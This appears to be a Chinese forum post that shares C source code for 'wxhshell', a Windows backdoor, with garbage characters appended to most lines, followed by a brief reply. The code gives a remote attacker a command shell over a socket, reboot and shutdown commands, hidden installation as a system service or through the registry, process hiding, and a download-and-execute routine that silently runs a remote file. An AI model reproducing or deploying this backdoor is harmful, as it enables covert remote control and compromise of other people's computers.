  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eF%>5  
  } _d`)N  
  else {  ZFH;  
94CHxv  
    switch(cmd[0]) { ,u&K(Z%  
  |Y")$pjz  
  // 帮助 W8><  
  case '?': { 6PyODW;R/5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P1>?crw  
    break; &4R -5i2a  
  } b Y^K)0+^s  
  // 安装 (G<fvl!~  
  case 'i': { 1@"os[ 9  
    if(Install()) @?!&M c2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XQhbH^  
    else i+&o%nK2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X<*-d6?gD`  
    break; L63B# H "  
    } M?QK4Zxb6U  
  // 卸载 $ctpg9 7  
  case 'r': { 1X,\:F.-+  
    if(Uninstall()) 6Ex 16  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f(Uo?_as  
    else IB%Hv]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RAUD8Z  
    break; ~M?^T$5  
    } x3L0;:Fx8P  
  // 显示 wxhshell 所在路径 .2v)x  
  case 'p': { VTIRkC wl@  
    char svExeFile[MAX_PATH]; GJo`9  
    strcpy(svExeFile,"\n\r"); oT}-i [=}  
      strcat(svExeFile,ExeFile); wk[4Qsk<  
        send(wsh,svExeFile,strlen(svExeFile),0); }xG~ a=,  
    break; p1`") $  
    } p.@_3^#|  
  // 重启 =`W#R  
  case 'b': { =f\BAi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E WNm }C9  
    if(Boot(REBOOT)) :)g}x&A^$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,GTIpPj  
    else { mDX UF~G[  
    closesocket(wsh); H2oD0f|  
    ExitThread(0); xwjiNJ Gj  
    } 2[QyH'"^E  
    break; W6Z3UJ-  
    } ;cD&qheDV  
  // 关机 og)f?4  
  case 'd': { U3OXO 1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]~d!<x#+  
    if(Boot(SHUTDOWN)) l1uv]t <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c)B <d#  
    else { 8d|#W  
    closesocket(wsh); Jnl#d0) -  
    ExitThread(0); `Dp_c&9]  
    } y??^[ sB  
    break; ^"!)p2=  
    } ;9"6g=q  
  // 获取shell Cj1nll8c  
  case 's': { :9Mqwgk,;3  
    CmdShell(wsh); -*AUCns#  
    closesocket(wsh); }F=lG-x  
    ExitThread(0); ,%4~ulKMn  
    break; W)p?cK`  
  } <4,LTB]9-  
  // 退出 g7@.Fa.u'!  
  case 'x': { gl>%ADOB@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;{:bq`56f  
    CloseIt(wsh); f*E#E=j  
    break; V \Sl->:  
    } YX{c06BHs  
  // 离开 E*G {V j  
  case 'q': { ]3&BLq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gv}J"anD  
    closesocket(wsh); }Jm~b9j  
    WSACleanup(); D\-D ~G]x  
    exit(1); SsfHp  
    break; +5xk6RP   
        } I6lWB(H!u  
  } (>M? iB  
  } Gq0Q}[53  
CEl9/"0s6  
  // 提示信息 _4-UM2o;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;!Q}g19C  
} s^zX9IVnp  
  } 3Xl!Z^W  
+V;@)-   
  return; 7L !$hk  
} ;+(EmD:Q  
.g8db d  
// shell模块句柄 k#DMd9  
int CmdShell(SOCKET sock) y|2y! &o,!  
{ @l %x;`E  
STARTUPINFO si; ~Sc{\ZJl  
ZeroMemory(&si,sizeof(si)); ]aI   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X|Rw;FY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;q&2$Mb  
PROCESS_INFORMATION ProcessInfo; kH">(f  
char cmdline[]="cmd"; -&QTy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9?.  
  return 0; t~kh?u].j  
} 'H8;(Rw  
u)9YRMl  
// 自身启动模式 LyNLz m5  
int StartFromService(void) 7x//4G   
{ k r ga!,I  
typedef struct bD4aSubN  
{ .)[0yW&  
  DWORD ExitStatus; o%)38T*n3  
  DWORD PebBaseAddress; [/GCy0jk  
  DWORD AffinityMask; n?}7vz;  
  DWORD BasePriority; tr@)zM GB  
  ULONG UniqueProcessId; 4"d'iY  
  ULONG InheritedFromUniqueProcessId; j:P(,M[  
}   PROCESS_BASIC_INFORMATION; +Z1y1%a  
9*;OHoDh  
PROCNTQSIP NtQueryInformationProcess; <Oihwr@5<  
I'e`?H t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $9rQ w1#e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D]NJ ^.X  
k4+Q$3"  
  HANDLE             hProcess; 1dl(`=^X  
  PROCESS_BASIC_INFORMATION pbi; aU?HIIA  
&\L\n}i-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bh5z4  
  if(NULL == hInst ) return 0; >eucQ]  
,HECHA_"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a2SXg A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +V9<ug6 T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PS'SIX  
1g>>{ y  
  if (!NtQueryInformationProcess) return 0; ++Fv )KY@  
Y^-D'2P]P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "/0Vvy_|  
  if(!hProcess) return 0; L7PM am  
W_RN@O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8Bwm+LYr-  
G6q*U,  
  CloseHandle(hProcess); }II)<g'  
aK?PK }@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V(P 1{g  
if(hProcess==NULL) return 0; $VnPs!a  
nXAGwU8a  
HMODULE hMod; {VT**o  
char procName[255]; a+,zXJQYq  
unsigned long cbNeeded; %6cbHH  
bBgyLyg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {4YD_$4W  
e {805^X}  
  CloseHandle(hProcess); "9O8#i<Nr  
>gf,8flgj  
if(strstr(procName,"services")) return 1; // 以服务启动 P0ZY;/e5h  
DSL3+%KF#  
  return 0; // 注册表启动 Xz\X 8I  
} Rv Uw,=  
Wp(Rw4j  
// 主模块 gPcOm b  
int StartWxhshell(LPSTR lpCmdLine) Ws;X;7tS  
{ vpz l{  
  SOCKET wsl; e`bP=7`0  
BOOL val=TRUE; D8\9nHUD`  
  int port=0; 7g-{ <d  
  struct sockaddr_in door; ;YY nIb(  
sfzDE&>'  
  if(wscfg.ws_autoins) Install(); v{pW/Fu~  
EnP>  
port=atoi(lpCmdLine); GxS!Lk  
jQ3&4>gj  
if(port<=0) port=wscfg.ws_port; BDT"wy8  
9=.7[-6i9  
  WSADATA data; *QA{xvT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9{CajtN  
Ib2n Bg>j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;"JgNad  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xwa@h}\#  
  door.sin_family = AF_INET; W<T Ui51Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (kL(:P/  
  door.sin_port = htons(port); rAh|r}R  
z C 7b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7}puj%JS /  
closesocket(wsl); GsU.Lkf  
return 1; bwe)_<c  
} 9v?rNJs  
9;fs'R  
  if(listen(wsl,2) == INVALID_SOCKET) { TF~cDn  
closesocket(wsl); :4[_&]H  
return 1; qflOi8  
} j9f[){m`  
  Wxhshell(wsl); jKb4d9aX  
  WSACleanup(); eqk.+~^  
hq?F8 1  
return 0; \]0+J  
=}'7}0M_=  
} K&BaGrR  
R{UZCFZ  
// 以NT服务方式启动 Zx^R-9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cp2a @  
{ *0x!C8*`Xe  
DWORD   status = 0; =55V<VI  
  DWORD   specificError = 0xfffffff; e, }{$HStZ  
d#|%h] 6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qAi:F=> X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V)]lca  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CPcB17!  
  serviceStatus.dwWin32ExitCode     = 0; X3HJ3F;==  
  serviceStatus.dwServiceSpecificExitCode = 0; %J+k.UrM  
  serviceStatus.dwCheckPoint       = 0; uvJmEBL:  
  serviceStatus.dwWaitHint       = 0; V\=%u<f  
py$i{v%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xtK}XEhG!  
  if (hServiceStatusHandle==0) return; 6\USeZh  
@?5pY^>DK  
status = GetLastError(); 11RqP:zg  
  if (status!=NO_ERROR) L'O=;C"f  
{ eN0lJ~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?;GXFKy  
    serviceStatus.dwCheckPoint       = 0; oF_ '<\ly=  
    serviceStatus.dwWaitHint       = 0; ;i!$rL  
    serviceStatus.dwWin32ExitCode     = status; Z_s]2y1  
    serviceStatus.dwServiceSpecificExitCode = specificError; H/l,;/q]b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lcXo>  
    return;  `l  
  } F&HvSt}l5  
_mTNK^gB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7>f)pfLM  
  serviceStatus.dwCheckPoint       = 0; BiA^]h/|  
  serviceStatus.dwWaitHint       = 0; K0\`0E^,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r{wf;5d(  
} BC R]K  
qdo_YPG  
// 处理NT服务事件,比如:启动、停止 !'Ww%ZL\   
VOID WINAPI NTServiceHandler(DWORD fdwControl) K~+x@O*  
{ A>6_h1  
switch(fdwControl) Awe'MGp%  
{ h9QQ8}g  
case SERVICE_CONTROL_STOP: 7%W@Hr,%F  
  serviceStatus.dwWin32ExitCode = 0; ihD|e&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G%U!$\j:qd  
  serviceStatus.dwCheckPoint   = 0; 0%qM`KZC  
  serviceStatus.dwWaitHint     = 0; |-xKH.'n  
  { *~^%s +b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5")BCA  
  } d>wG6Z,|  
  return; g{JH5IZ~  
case SERVICE_CONTROL_PAUSE: [6)vD@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V o%GO 9b;  
  break; QB*n [(?  
case SERVICE_CONTROL_CONTINUE: U["IXR#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j.:f =`xf  
  break; P_(< ?0l  
case SERVICE_CONTROL_INTERROGATE: {6iHUK   
  break; n1)].`  
}; 0>:`|IGnT2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lHO.pN`2  
} jV' tcFr4  
caZEZk#r;  
// 标准应用程序主函数 0OBwe6*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RQ,X0 pS  
{ qWJa p-hb  
Lbu,VX  
// 获取操作系统版本 Vk%W4P"l  
OsIsNt=GetOsVer(); j#${L6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H%;pPkIi  
Tj=@5lj0  
  // 从命令行安装 PMe3Or@  
  if(strpbrk(lpCmdLine,"iI")) Install(); @'"7[k!y;  
lr$,=P`  
  // 下载执行文件 )6 K)UA  
if(wscfg.ws_downexe) { Hnf?`j>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z|j\_VKhl  
  WinExec(wscfg.ws_filenam,SW_HIDE); p7[&H/  
} yppXecFJ  
2>.>q9J(  
if(!OsIsNt) { h8P_/.+g|V  
// 如果时win9x,隐藏进程并且设置为注册表启动 4g?qKoc i  
HideProc(); 8xHjdQr  
StartWxhshell(lpCmdLine); }R`}Ey|{  
} '8b=4mrbH  
else _#w5hX cu  
  if(StartFromService()) ^ ?T,>ZI  
  // 以服务方式启动 Q`UgtL  
  StartServiceCtrlDispatcher(DispatchTable); Nrc-@ ]  
else u43-\=1$T  
  // 普通方式启动 ihIRB9  
  StartWxhshell(lpCmdLine); \{1Vjo  
A&_v:z4y/  
return 0; 9\i^.2&  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五